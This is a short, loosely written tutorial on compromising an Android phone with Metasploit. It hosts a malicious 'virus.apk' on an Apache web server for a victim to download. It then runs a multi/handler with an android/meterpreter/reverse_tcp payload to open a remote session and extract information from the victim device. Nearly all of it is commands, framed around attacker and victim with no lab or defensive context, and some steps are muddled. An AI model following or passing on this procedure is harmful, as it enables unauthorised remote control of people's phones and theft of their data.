Metasploit Framework Working
Metasploit Framework Working
$msfconsole -q
Now when attacker machine and victim machine are in the same range of network then
we can use the following steps--
// Here if a [-] -ve sign appears before the service then we type
$service apache2 start/stop/restart
Now, we check this by typing our network ip address in the browser and it shows the
apache2 server default page then this means our hosting service is working fine
Now, we need to host this virus.apk in our apache2 server, for that first we need
to go to the location where the default webpage of apache2 server is stored
So, we type the following commands
cd / //to go to the root directory
cd var
cd www
cd html
cd share // create a share folder in html where index.html is stored
Now, come back to the home directory using cd command
After that copy the virus.apk file to /var/www/html/share to host the apk file in
our apache2 server
$sudo cp virus.apk /var/www/html/share
then to check whether virus.apk is hosted or not
$ls /var/www/html/share
After downloading the virus.apk file in your mobile using ipaddress/share path, now
its time to exploit
msf6> use exploit/multi/handler // we will exploit using multihandler exploit
msf6 exploit(multi/handler) > show options // to see what values we have to set for
LHOST and LPORT
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.0.105
msf6 exploit(multi/handler) > set lport 2233
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > run
// now our meterpreter will run and establish session with the victim machine
meterpreter> ? // to see what commands we can run to extract information from the
victim machine